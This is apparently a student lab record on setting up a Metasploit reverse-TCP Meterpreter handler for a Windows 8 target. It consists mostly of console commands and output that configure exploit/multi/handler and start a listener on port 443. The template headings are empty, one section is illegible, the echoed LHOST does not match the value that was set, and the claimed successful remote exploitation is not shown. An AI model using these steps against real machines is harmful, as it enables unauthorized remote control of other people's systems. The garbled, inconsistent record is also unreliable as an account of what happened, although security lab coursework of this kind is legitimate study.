

Date:

**Aim:**

### Algorithm:

- Output:**

[illegible]

```

      =[ metasploit v5.0.41-dev                ]
+ -- --=[ 1914 exploits - 1074 auxiliary - 330 post   ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops      ]
+ -- --=[ 4 evasion                               ]

```

```

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show options

```

Module options (exploit/multi/handler):

Name	Current Setting	Required	Description
----	-----	-----	-----

Payload options (windows/meterpreter/reverse\_tcp):

Name	Current Setting	Required	Description
----	-----	-----	-----
EXITFUNC	process	yes	Exit technique (Accepted: ", seh, thread, process, none)
LHOST		yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
--	----
0	Wildcard Target

```

msf5 exploit(multi/handler) > set LHOST 172.16.8.155
LHOST => 172.16.8.156
msf5 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf5 exploit(multi/handler) > exploit

```

[\*] Started reverse TCP handler on 172.16.8.155:443

**Result:** Thus, the setup of Metasploit framework and exploit reverse\_tcp in Windows 8 machine remotely has been executed successfully.